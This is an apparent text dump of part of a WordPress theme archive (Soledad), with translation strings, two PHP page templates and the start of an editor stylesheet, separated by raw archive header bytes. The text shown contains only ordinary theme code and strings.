msgstr ""

#: inc/widgets/social_counter.php:553
msgid "Counter Text Color:"
msgstr ""

#: inc/widgets/social_counter.php:561
msgid "Counter Text Hover Color:"
msgstr ""

#: inc/widgets/social_counter.php:569
msgid "Fans Text Color:"
msgstr ""

#: inc/widgets/social_counter.php:577
msgid "Fans Text Hover Color:"
msgstr ""

#: inc/widgets/social_counter.php:585
msgid "Follow Text Color:"
msgstr ""

#: inc/widgets/social_counter.php:593
msgid "Follow Text Hover Color:"
msgstr ""

#: inc/widgets/social_widget.php:26
msgid "A widget that displays your social icons"
msgstr ""

#: inc/widgets/social_widget.php:327
msgid ""
"<strong>Note:</strong> Setup your social URLs via <strong>Appearance > "
"Customize > Social Media</strong>"
msgstr ""

#: inc/widgets/stylisted_articles_count.php:35
#: inc/widgets/stylisted_articles_count.php:37
#: inc/widgets/stylisted_articles_count.php:296
msgid "Stylisted Articles Count"
msgstr ""

#: inc/widgets/tiktok_embed.php:19
msgid "A widget that displays the user TikTok embed iframe."
msgstr ""

#: inc/widgets/tiktok_embed.php:27 inc/widgets/tiktok_embed.php:29
msgid "Penci TikTok Feed"
msgstr ""

#: inc/widgets/tiktok_embed.php:71
msgid "Please enter Tiktok username"
msgstr ""

#: inc/widgets/tiktok_embed.php:96
msgid "TikTok Feed"
msgstr ""

#: inc/widgets/video_playlist.php:26 inc/widgets/video_playlist.php:28
msgid "Penci Video Playlist"
msgstr ""

#: inc/widgets/web_stories.php:26
msgid "A widget that displays an a Web Stories"
msgstr ""

#: inc/widgets/wph-widget-class.php:648
msgid "Upload image"
msgstr ""

#: inc/woocommerce/modules/compare.php:122
#, php-format
msgid "The product %s successfully added to compare table."
msgstr ""

#: inc/woocommerce/modules/compare.php:125
#, php-format
msgid "The product %s successfully removed to compare table."
msgstr ""

#: inc/woocommerce/modules/compare.php:186
msgid ""
"Penci Product Compare need to assign the compare page. Please create a new "
"page with <strong>[penci_compare_table]</strong> content shortcode, then go "
"to <a href=\""
msgstr ""

#: inc/woocommerce/modules/compare.php:193
msgid ""
"You've activated the YITH WooCommerce Compare plugin, please go to <a href=\""
msgstr ""

#: inc/woocommerce/modules/compare.php:205
msgid "Soledad Compare Product"
msgstr ""

#: inc/woocommerce/modules/compare.php:511 inc/woocommerce/woocommerce.php:98
msgid "In stock"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:23
msgid "Custom Tab"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:60
msgid "Override main product summary content for this product."
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:111
msgid "Select default product style"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:124
msgid "Enable sticky add to cart on the bottom of the page"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:131
msgid "Sidebar position"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:140
msgid "Select main content and sidebar alignment."
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:146
msgid "Sidebar Placement"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:175
msgid "Custom sidebar for this product"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:241
msgid "Hidden Tab Title"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:262
msgid "Priority"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:271
msgid "Brands Display"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:276
msgid "Default Theme Locate"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:283
msgid "Permanent \"New\" label"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:287
msgid "Enable this option to make your product have \"New\" status forever."
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:291
msgid "Hide related products"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:295
msgid "You can hide related products on this page"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:304
msgid ""
"Choose attribute that will be shown on products grid for this particular "
"product"
msgstr ""

#: inc/woocommerce/modules/metaboxes.php:321
msgid "Product Options"
msgstr ""

#: inc/woocommerce/modules/misc.php:337
#, php-format
msgid "Show %s columns"
msgstr ""

#: inc/woocommerce/modules/misc.php:631
msgid "Ooppppp"
msgstr ""

#: inc/woocommerce/modules/quick_view.php:49
msgid ""
"You've activated the YITH WooCommerce Quick View plugin, please go to <a "
"href=\""
msgstr ""

#: inc/woocommerce/modules/swatches.php:67 inc/woocommerce/woocommerce.php:116
msgid "Choose an image"
msgstr ""

#: inc/woocommerce/modules/swatches.php:445
msgid "Wrong request"
msgstr ""

#: inc/woocommerce/modules/swatches.php:449
msgid "Not enough data"
msgstr ""

#: inc/woocommerce/modules/swatches.php:453
msgid "Taxonomy is not exists"
msgstr ""

#: inc/woocommerce/modules/swatches.php:457
msgid "This term is exists"
msgstr ""

#: inc/woocommerce/modules/swatches.php:471
msgid "Added successfully"
msgstr ""

#: inc/woocommerce/modules/wishlist.php:281
msgid ""
"Penci Wishlist need to assign the wishlist page. Please create a new page "
"with <strong>[penci_wishlist]</strong> content shortcode, then go to <a "
"href=\""
msgstr ""

#: inc/woocommerce/modules/wishlist.php:288
msgid ""
"You've activated the YITH WooCommerce Wishlist plugin, please go to <a "
"href=\""
msgstr ""

#: inc/woocommerce/modules/wishlist.php:300
msgid "Soledad Wishlist Products"
msgstr ""

#: inc/woocommerce/woocommerce.php:88
msgid "About brand"
msgstr ""

#: inc/woocommerce/woocommerce.php:89
#, php-format
msgid "About %s"
msgstr ""

#: inc/woocommerce/woocommerce.php:90
msgid "Add to Compare"
msgstr ""

#: inc/woocommerce/woocommerce.php:91
msgid "View all Compare"
msgstr ""

#: inc/woocommerce/woocommerce.php:92
msgid "Return to shop"
msgstr ""

#: inc/woocommerce/woocommerce.php:94
msgid "Dimensions"
msgstr ""

#: inc/woocommerce/woocommerce.php:95
msgid "Weight"
msgstr ""

#: inc/woocommerce/woocommerce.php:96
msgid "Availability"
msgstr ""

#: inc/woocommerce/woocommerce.php:99
msgid "Remove product"
msgstr ""

#: inc/woocommerce/woocommerce.php:101
msgid "Sale"
msgstr ""

#: inc/woocommerce/woocommerce.php:102
msgid "Sold out"
msgstr ""

#: inc/woocommerce/woocommerce.php:103
msgid "Hot"
msgstr ""

#: inc/woocommerce/woocommerce.php:104
msgid "New"
msgstr ""

#: inc/woocommerce/woocommerce.php:107
msgid "Login to see prices"
msgstr ""

#: inc/woocommerce/woocommerce.php:108
msgid "Filter & Sort"
msgstr ""

#: inc/woocommerce/woocommerce.php:109
msgid "Initial number in stock"
msgstr ""

#: inc/woocommerce/woocommerce.php:110
msgid "Required for stock progress bar option"
msgstr ""

#: inc/woocommerce/woocommerce.php:111
msgid "Quick view"
msgstr ""

#: inc/woocommerce/woocommerce.php:118
msgid "Upload/Add Image"
msgstr ""

#: inc/woocommerce/woocommerce.php:119
msgid "Remove image"
msgstr ""

#: inc/woocommerce/woocommerce.php:120
msgid "Add to Wishlist"
msgstr ""

#: inc/woocommerce/woocommerce.php:121
msgid "Browse Wishlist"
msgstr ""

#: inc/woocommerce/woocommerce.php:122
#, php-format
msgid "The product %s has successfully removed."
msgstr ""

#: inc/woocommerce/woocommerce.php:123
msgid "Remove Product"
msgstr ""

#: inc/woocommerce/woocommerce.php:125 inc/woocommerce/woocommerce.php:149
#: template-parts/header/cart-icon.php:12
msgid "View your shopping cart"
msgstr ""

#: inc/woocommerce/woocommerce.php:126
msgid "Loading..."
msgstr ""

#: inc/woocommerce/woocommerce.php:127
msgid "End of content"
msgstr ""

#: inc/woocommerce/woocommerce.php:128
msgid "No more pages to load"
msgstr ""

#: inc/woocommerce/woocommerce.php:129
msgid "View more products"
msgstr ""

#: inc/woocommerce/woocommerce.php:130
msgid "products"
msgstr ""

#: inc/woocommerce/woocommerce.php:132
msgid "Shopping cart"
msgstr ""

#: inc/woocommerce/woocommerce.php:133
msgid "Checkout"
msgstr ""

#: inc/woocommerce/woocommerce.php:134
msgid "Order complete"
msgstr ""

#: inc/woocommerce/woocommerce.php:135
msgid "No posts found"
msgstr ""

#: inc/woocommerce/woocommerce.php:136
msgid "All results"
msgstr ""

#: inc/woocommerce/woocommerce.php:137
msgid "Compare Products"
msgstr ""

#: inc/woocommerce/woocommerce.php:142
msgid "View Cart"
msgstr ""

#: inc/woocommerce/woocommerce.php:143
msgid "Check out"
msgstr ""

#: inc/woocommerce/woocommerce.php:144
msgid "has been added to your cart"
msgstr ""

#: inc/woocommerce/woocommerce.php:145
msgid "has been added to compare"
msgstr ""

#: inc/woocommerce/woocommerce.php:146
msgid "has been removed from compare"
msgstr ""

#: inc/woocommerce/woocommerce.php:147
msgid "has been removed from your wishlist"
msgstr ""

#: inc/woocommerce/woocommerce.php:148
msgid "has been added to your wishlist"
msgstr ""

#: inc/woocommerce/woocommerce.php:151
msgid "Shopping Cart"
msgstr ""

#: inc/woocommerce/woocommerce.php:152
msgid "View your compare products"
msgstr ""

#: inc/woocommerce/woocommerce.php:153
msgid "View your wishlist products"
msgstr ""

#: inc/woocommerce/woocommerce.php:154
msgid "Related products"
msgstr ""

#: inc/woocommerce/woocommerce.php:155
msgid "You may also like&hellip;"
msgstr ""

#: inc/woocommerce/woocommerce.php:156
msgid "Compare list is empty."
msgstr ""

#: inc/woocommerce/woocommerce.php:157
msgid "Wishlist is empty."
msgstr ""

#: inc/woocommerce/woocommerce.php:158
msgid ""
"You don't have any products in the wishlist yet. <br> You will find a lot of "
"interesting products on our \"Shop\" page."
msgstr ""

#: inc/woocommerce/woocommerce.php:159
msgid ""
"No products added in the compare list. You must add some products to compare "
"them.<br> You will find a lot of interesting products on our \"Shop\" page."
msgstr ""

#: inc/woocommerce/woocommerce.php:160
msgid "Your cart is currently empty."
msgstr ""

#: inc/woocommerce/woocommerce.php:161
msgid ""
"You don't have any products in the shop yet. <br> You will find a lot of "
"interesting products on our \"Shop\" page."
msgstr ""

#: inc/woocommerce/woocommerce.php:164
msgid "Search Results from Blog"
msgstr ""

#: inc/woocommerce/woocommerce.php:165
msgid "Show More Result"
msgstr ""

#: inc/woocommerce/woocommerce.php:166
msgid "Ordered:"
msgstr ""

#: inc/woocommerce/woocommerce.php:167
msgid "Items available:"
msgstr ""

#: inc/woocommerce/woocommerce.php:168
msgid "Sold"
msgstr ""

#: inc/woocommerce/woocommerce.php:599
msgid "Default Theme Setting"
msgstr ""

#: woocommerce/cart/cross-sells.php:29
msgid "You may be interested in&hellip;"
msgstr ""

#: woocommerce/cart/mini-cart.php:49
msgid "Remove this item"
msgstr ""

#: woocommerce/checkout/form-checkout.php:26
msgid "You must be logged in to checkout."
msgstr ""

#: woocommerce/global/mobile-filter.php:30
msgid ""
"Please go to <strong>Appearance > Widgets</strong>, add the filter to "
"<strong>Sidebar Filter</strong>."
msgstr ""

#: woocommerce/global/quantity-input.php:21
#, php-format
msgid "%s quantity"
msgstr ""

#: woocommerce/global/quantity-input.php:21
msgid "Quantity"
msgstr ""

#: woocommerce/single-product-reviews.php:78
msgid "Add a review"
msgstr ""

#: woocommerce/single-product-reviews.php:78
#, php-format
msgid "Be the first to review &ldquo;%s&rdquo;"
msgstr ""

#: woocommerce/single-product-reviews.php:80
#, php-format
msgid "Leave a Reply to %s"
msgstr ""

#: woocommerce/single-product-reviews.php:123
#, php-format
msgid "You must be %1$slogged in%2$s to post a review."
msgstr ""

#: woocommerce/single-product-reviews.php:127
msgid "Your rating"
msgstr ""

#: woocommerce/single-product-reviews.php:128
msgid "Rate&hellip;"
msgstr ""

#: woocommerce/single-product-reviews.php:129
msgid "Perfect"
msgstr ""

#: woocommerce/single-product-reviews.php:130
msgid "Good"
msgstr ""

#: woocommerce/single-product-reviews.php:132
msgid "Not that bad"
msgstr ""

#: woocommerce/single-product-reviews.php:133
msgid "Very poor"
msgstr ""

#: woocommerce/single-product-reviews.php:137
msgid "Your review"
msgstr ""

#: woocommerce/single-product/meta.php:30
msgid "N/A"
msgstr ""

#: woocommerce/single-product/product-image.php:80
#: woocommerce/single-product/product-image.php:98
msgid "Awaiting product image"
msgstr ""

#: woocommerce/single-product/product-image.php:139
msgid "Previous"
msgstr ""
PK     N\uN      languages/xx_XX.monu [                  $      ,       8   L  9               Project-Id-Version: 
PO-Revision-Date: 2024-04-02 18:26+0700
Last-Translator: 
Language-Team: 
Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: Poedit 3.4.2
X-Poedit-Basepath: .
X-Poedit-KeywordsList: __;_e;esc_html__;esc_attr__;_x;_;esc__
X-Poedit-SearchPath-0: .
 PK     N\-
  
    bbpress.phpnu [        <?php
/**
 * The Template for displaying all single posts
 *
 * @package Wordpress
 * @since   1.0
 */
get_header();

$sidebar_position = 'right-sidebar';

$dis_sidebar_bbforums = get_theme_mod( 'penci_dis_sidebar_bbforums' );
$dis_sidebar_bbforum  = get_theme_mod( 'penci_dis_sidebar_bbforum' );
$dis_sidebar_bbtoppic = get_theme_mod( 'penci_dis_sidebar_bbtoppic' );

$sidebar_opts = penci_get_single_key( get_the_ID(), 'penci_post_sidebar_display' );
if ( get_theme_mod( "penci_left_sidebar_posts" ) ) {
	$sidebar_position = 'left-sidebar';
}
if ( $sidebar_opts == 'left' ) {
	$sidebar_position = 'left-sidebar';
} elseif ( $sidebar_opts == 'right' ) {
	$sidebar_position = 'right-sidebar';
}

if ( $dis_sidebar_bbtoppic && ( is_singular( 'topic' ) || is_single( 'topic' ) ) ) {
	$sidebar_opts = 'no';
} elseif ( $dis_sidebar_bbforum && ( is_singular( 'forum' ) || is_single( 'forum' ) ) ) {
	$sidebar_opts = 'no';
} elseif ( $dis_sidebar_bbforums && ( is_post_type_archive( 'forum' ) || is_tax( 'forum' ) ) ) {
	$sidebar_opts = 'no';
}
?>
<?php if ( get_theme_mod( 'penci_enable_single_style2' ) ) : ?>
    <div class="container container-single<?php if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ): ?> container-single-magazine<?php endif; ?> container-single-fullwidth">
		<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
			<?php get_template_part( 'content', 'single-full' ); ?>
		<?php endwhile; endif; ?>
    </div>
<?php endif; ?>

    <div class="container container-single<?php if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ): ?> container-single-magazine<?php endif; ?><?php if ( ( penci_get_setting( 'penci_sidebar_posts' ) && $sidebar_opts != 'no' ) || $sidebar_opts == 'left' || $sidebar_opts == 'right' ) : ?> penci_sidebar <?php echo esc_attr( $sidebar_position ); ?><?php endif; ?><?php if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ): ?> penci-enable-lightbox<?php endif; ?>">
        <div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
            <div class="theiaStickySidebar">
				<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
					<?php /* Count viewed posts */
					penci_set_post_views( $post->ID ); ?>
					<?php get_template_part( 'content', 'single-bbpress' ); ?>
				<?php endwhile; endif; ?>
            </div>
        </div>
		<?php if ( ( penci_get_setting( 'penci_sidebar_posts' ) && $sidebar_opts != 'no' ) || $sidebar_opts == 'left' || $sidebar_opts == 'right' ) : ?>
			<?php get_sidebar( 'bbpress' ); ?>
		<?php endif; ?>
    </div>

<?php get_footer(); ?>PK     N\Gw΀      content-mixed-post.phpnu [        <?php
/**
 * Template loop for gird style
 */
if ( ! isset ( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$post_id = get_the_ID();
$share_box_class = ! get_theme_mod( 'penci_grid_share_box' ) || ! get_theme_mod( 'penci_grid_comment' ) ? 'pcmx-show-share' : 'pcmx-hide-share';
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
?>
<div class="grid-style grid-mixed <?php echo $share_box_class;?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">

		<?php if ( has_post_thumbnail() ) : ?>
            <div class="thumbnail thumb-left">
				<?php
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>

                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'large' ) ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'large' ) ), get_the_title() ); ?>
                </a>

            </div>
		<?php endif; ?>

        <div class="mixed-detail">
            <div class="grid-header-box">
				<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
                    <span class="cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>

                <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                            href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php penci_soledad_meta_schema(); ?>
				<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
				<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                    <div class="grid-post-box-meta">
						<?php do_action( 'penci_grid_meta' ); ?>
						<?php if ( ! get_theme_mod( 'penci_grid_author' ) ) : ?>
                            <span class="author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
									penci_coauthors_posts_links();
								else: ?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
								<?php endif; ?></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_grid_date' ) ) : ?>
                            <span><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php
						if ( get_theme_mod( 'penci_grid_countviews' ) ) {
							penci_get_post_countview( get_the_ID() );
						}
						?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
            </div>

			<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_grid_remove_excerpt' ) ): ?>
                <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
					<?php
					do_action( 'penci_before_post_excerpt' );
					if ( get_theme_mod( 'penci_excerptcharac' ) ) {
						the_excerpt();
					} else {
						$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
						penci_the_excerpt( $excerpt_length, $post_id );
					}
					?>
                </div>
			<?php endif; ?>

			<?php if ( get_theme_mod( 'penci_grid_add_readmore' ) ):
				$class_button = '';
				if ( get_theme_mod( 'penci_grid_remove_arrow' ) ): $class_button .= ' penci-btn-remove-arrow'; endif;
				if ( get_theme_mod( 'penci_grid_readmore_button' ) ): $class_button .= ' penci-btn-make-button'; endif;
				if ( get_theme_mod( 'penci_grid_readmore_align' ) ): $class_button .= ' penci-btn-align-' . get_theme_mod( 'penci_grid_readmore_align' ); endif;
				?>
                <div class="penci-readmore-btn<?php echo $class_button; ?>">
                    <a class="penci-btn-readmore"
                       href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
                </div>
			<?php endif; ?>

			<?php if ( ! get_theme_mod( 'penci_grid_share_box' ) || ! get_theme_mod( 'penci_grid_comment' ) ) : ?>
                <div class="penci-post-box-meta<?php if ( get_theme_mod( 'penci_grid_share_box' ) || get_theme_mod( 'penci_grid_comment' ) ): echo ' center-inner'; endif; ?>">
					<?php if ( ! get_theme_mod( 'penci_grid_comment' ) || get_theme_mod( 'penci_grid_countviews' ) ) : ?>
                        <div class="penci-box-meta">
							<?php if ( ! get_theme_mod( 'penci_grid_comment' ) ) : ?>
                                <span><a href="<?php comments_link(); ?> "><?php penci_fawesome_icon( 'far fa-comment' ); ?><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                        </div>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_grid_share_box' ) ) : ?>
                        <div class="penci-post-share-box">
							<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
							<?php penci_soledad_social_share(); ?>
                        </div>
					<?php endif; ?>
                </div>
			<?php endif; ?>
        </div>

		<?php if ( has_post_thumbnail() ) : ?>
            <div class="thumbnail thumb-right">
				<?php
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>

                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'large' ) ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'large' ) ), get_the_title() ); ?>
                </a>

            </div>
		<?php endif; ?>

    </article>
</div>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'div',
			'classes'    => 'grid-style grid-mixed penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $j ++; ?>
PK     N\%  %    editor-style.cssnu [        /*
Theme Name: Soledad
Description: Used to style the TinyMCE editor.
*/

/** Raleway font **/
@import url(https://fonts.googleapis.com/css?family=Raleway:400,300,500,600,700,800,900,200,100);

/** PT Serif font **/
@import url(https://fonts.googleapis.com/css?family=PT+Serif:400,400italic,700,700italic&subset=latin,cyrillic-ext,latin-ext,cyrillic);

/* Import fontawesome 4.7 */
@font-face{font-family:'FontAwesome';src:url('fonts/fontawesome-webfont.eot?v=4.7.0');src:url('fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'),url('fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire